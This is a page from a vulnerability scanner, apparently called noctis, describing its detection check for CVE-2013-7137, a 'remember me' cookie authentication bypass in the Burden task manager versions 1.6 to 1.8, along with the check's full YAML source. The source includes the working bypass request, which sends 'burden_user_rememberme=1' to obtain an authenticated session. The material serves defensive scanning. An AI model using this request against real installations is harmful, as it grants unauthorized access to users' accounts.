Burden — 1 vulnerability check
noctis ships 1 vulnerability check for Burden, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Burden <= 1.8 burden_user_rememberme cookie authentication bypass
| CVE | CVE-2013-7137 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/burden/CVE-2013-7137.yaml |
Tests the Burden task manager (1.6 to 1.8) for the authentication bypass through the "remember me" cookie (CVE-2013-7137): login.php logs the visitor in as the user whose id is in the burden_user_rememberme cookie, without checking any secret. The test loads login.php without cookies as a control (it must show Burden's login form), loads it again with burden_user_rememberme=1, then opens index.php with the session cookie this returns. An authenticated task list (links to the settings and logout pages, with the logged-in user name) while the control showed the login form confirms the bypass; the test then logs that session out. A redirect to logout.php instead shows that the cookie is trusted but no user has id 1, and is reported with lower confidence. The web root, /burden and /Burden are tried.
How noctis detects it
- HTTP(S) request
GET {{base}}/login.php - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/login.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/logout.php - Checks
v.prooffor^authenticated$→ finding QoD 97: Burden burden_user_rememberme cookie authentication bypass (CVE-2013-7137) - Checks
v.prooffor^cookie-trusted$→ finding QoD 75: Burden logs users in from the burden_user_rememberme cookie (CVE-2013-7137)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-7137
- https://www.immuniweb.com/advisory/HTB23192
- https://www.exploit-db.com/exploits/30916
- https://github.com/joshf/Burden/blob/1.8/login.php
- https://github.com/joshf/Burden/compare/1.8...1.8.1
Feed source — tests/vulnerabilities/burden/CVE-2013-7137.yaml
# Burden <= 1.8 — burden_user_rememberme cookie authentication bypass (CVE-2013-7137)
#
# Burden 1.6 to 1.8 log a visitor in from the "remember me" cookie alone: login.php reads
# burden_user_rememberme and stores it in the session as the logged-in user, without any
# secret. 1.6 accepts any value (single configured user); 1.7 and 1.8 accept any id present
# in the Users table (the installer creates the admin as id 1). 1.8.1 removed the cookie
# block from login.php and logout.php. Checked against the upstream git tags 1.6, 1.7, 1.8
# and 1.8.1 (github.com/joshf/Burden).
#
# Detection, per candidate install directory ("", /burden, /Burden):
# 1. Control: GET login.php without cookies → 200 with Burden's login form (fingerprint,
# and proof that an anonymous visitor is not logged in).
# 2. Bypass: GET login.php with "Cookie: burden_user_rememberme=1" → a vulnerable
# release answers 302 to index.php and hands out the session cookie.
# 3. GET index.php with that session → the authenticated task list (navbar links to
# settings.php and logout.php, logged-in user name). QoD 97.
# 4. GET logout.php with the same session, to drop the session the test created.
# If step 2 answers 302 to logout.php instead, the cookie lookup ran but user id 1 does
# not exist (1.7/1.8 with the first account deleted): reported at QoD 75. This branch
# relies on the step-1 gate (the 1.x "form-signin-heading ...>Burden</h2>" login page):
# Burden 2.1+ brought the cookie back as a hash lookup that also redirects to logout.php
# for an unknown value, and is excluded only because its login page differs (image
# logo, form role="form"). Do not loosen the gate.
#
# Better than the source check: it required ">Logout<" and ">Settings<" in index.php, but
# 1.6 and 1.7 render "<i class="icon-off"></i> Logout<" (icons in the navbar), so the
# bypass was missed on those releases. This feed matches the settings.php / logout.php
# links instead, adds the cookie-less control, reports the logged-in user, reports the
# unknown-id redirect, and logs the session out afterwards. The session cookie is not
# put in the evidence.
#
# CVSS: NVD v3.1 9.8 for CVE-2013-7137.
#
# Backlog source: OpenVAS/Greenbone NVT 2014/gb_burden_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803792, GPL-2.0-only).
uid: b8347466-39f3-4c8d-b43b-5290ba0fbdf8
name: "Burden <= 1.8 burden_user_rememberme cookie authentication bypass (CVE-2013-7137)"
description: |
Tests the Burden task manager (1.6 to 1.8) for the authentication bypass through the
"remember me" cookie (CVE-2013-7137): login.php logs the visitor in as the user whose id
is in the burden_user_rememberme cookie, without checking any secret. The test loads
login.php without cookies as a control (it must show Burden's login form), loads it
again with burden_user_rememberme=1, then opens index.php with the session cookie this
returns. An authenticated task list (links to the settings and logout pages, with the
logged-in user name) while the control showed the login form confirms the bypass; the
test then logs that session out. A redirect to logout.php instead shows that the cookie
is trusted but no user has id 1, and is reported with lower confidence. The web root,
/burden and /Burden are tried.
cves: [CVE-2013-7137]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [burden, php, auth-bypass, cookie, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7137"
- "https://www.immuniweb.com/advisory/HTB23192"
- "https://www.exploit-db.com/exploits/30916"
- "https://github.com/joshf/Burden/blob/1.8/login.php"
- "https://github.com/joshf/Burden/compare/1.8...1.8.1"
steps:
# ── Loop group: every step below runs once per candidate install directory ──
# Pre-initialise every stored result a script reads (an undefined variable aborts the
# whole test).
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: 0, body: null, headers: {}}
loop:
over: ["", "/burden", "/Burden"]
var: base
- id: init-byp
action: set_var
var_name: byp
var_value: {connected: false, banner: null}
- id: init-idx
action: set_var
var_name: idx
var_value: {status: 0, body: null, headers: {}}
# 1. Control — no cookie: Burden's login form.
- id: control
action: http_request
method: GET
path: "{{base}}/login.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: ctrl
- id: gate
action: script
code: |
let b = ctrl.body;
let ok = ctrl.status == 200 && type_of(b) == "string"
&& ereg("<form[^>]*class=\"form-signin\"", b)
&& ereg("class=\"form-signin-heading[^\"]*\">Burden</h2>", b)
&& ereg("name=\"password\"", b);
#{ ok: ok }
store_as: g
# 2. The "remember me" cookie alone, for user id 1. Raw request: every Set-Cookie
# header of the reply is needed (http_request keeps only the last one, and a load
# balancer cookie set after PHPSESSID would hide the session cookie).
- id: bypass
action: tcp_connect
port: "{{port}}"
condition: "g.ok == true"
send: "GET {{base}}/login.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nCookie: burden_user_rememberme=1\r\n\r\n"
store_as: byp
- id: session
action: script
code: |
let out = #{ index: false, logout: false, cookie: "", name: "" };
if g.ok == true && type_of(byp.banner) == "string" {
let head = byp.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
if ereg("^HTTP/1\\.[01] 30[123] ", head) {
let loc = eregmatch("(?mi)^location:[ \\t]*([^\\r\\n]*)", head);
let l = if loc.len() > 1 { loc[1] } else { "" };
out.index = ereg("(^|/)index\\.php([?#]|$)", l);
out.logout = ereg("(^|/)logout\\.php([?#]|$)", l);
let jar = #{};
for raw in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" || c[1] == "burden_user_rememberme" { continue; }
jar[c[1]] = c[2];
}
for k in jar.keys() {
if out.cookie != "" {
out.cookie += "; ";
out.name += ", ";
}
out.cookie += k + "=" + jar[k];
out.name += k;
}
}
}
out
store_as: s
# 3. The session handed out for the cookie: authenticated task list?
- id: index
action: http_request
method: GET
path: "{{base}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.index == true && s.cookie != \"\""
headers:
Cookie: "{{s.cookie}}; burdenhascheckedforupdates=checkedsuccessfully"
store_as: idx
- id: verdict
action: script
code: |
let b = idx.body;
let hit = s.index == true && idx.status == 200 && type_of(b) == "string"
&& ereg("class=\"brand\"[^>]*>Burden<", b)
&& ereg("href=\"settings\\.php\"", b)
&& ereg("href=\"logout\\.php\"", b)
&& !ereg("class=\"form-signin\"", b);
let user = "";
if hit {
let m = eregmatch("data-toggle=\"dropdown\">(<i class=\"icon-user\"></i> )?([^<]{1,64}?) <b class=\"caret\"></b></a>\\s*<ul class=\"dropdown-menu\">\\s*<li><a href=\"settings\\.php\"", b);
if m.len() > 2 { user = m[2]; }
}
let proof = if hit { "authenticated" } else if s.logout == true { "cookie-trusted" } else { "" };
#{ hit: hit, proof: proof,
user: if user == "" { "(name not shown)" } else { user } }
store_as: v
# 4. Drop the session this test created.
- id: logout
action: http_request
method: GET
path: "{{base}}/logout.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "v.hit == true"
headers:
Cookie: "{{s.cookie}}"
store_as: lo
- id: bypass-confirmed
action: match
source: v.proof
pattern: "^authenticated$"
condition: "v.hit == true"
on_match:
stop: true
finding:
title: "Burden burden_user_rememberme cookie authentication bypass (CVE-2013-7137)"
confidence_delta: 0.65
qod: 97
evidence: "Logged in without credentials: GET {{base}}/login.php without cookies showed the Burden login form, while the same request with \"Cookie: burden_user_rememberme=1\" redirected to index.php with new session cookies ({{s.name}}); {{base}}/index.php with that session returned the authenticated task list (settings and logout links) for user \"{{v.user}}\". The session was logged out afterwards."
remediation: "Upgrade Burden to 1.8.1 or later, which no longer logs users in from the burden_user_rememberme cookie."
- id: cookie-trusted
action: match
source: v.proof
pattern: "^cookie-trusted$"
condition: "v.hit != true && s.logout == true"
on_match:
stop: true
finding:
title: "Burden logs users in from the burden_user_rememberme cookie (CVE-2013-7137)"
confidence_delta: 0.45
qod: 75
evidence: "GET {{base}}/login.php without cookies showed the Burden login form, while the same request with \"Cookie: burden_user_rememberme=1\" redirected to logout.php: login.php looks the cookie value up as a user id (no user has id 1 here, but any existing id logs in without a password)."
remediation: "Upgrade Burden to 1.8.1 or later, which no longer logs users in from the burden_user_rememberme cookie."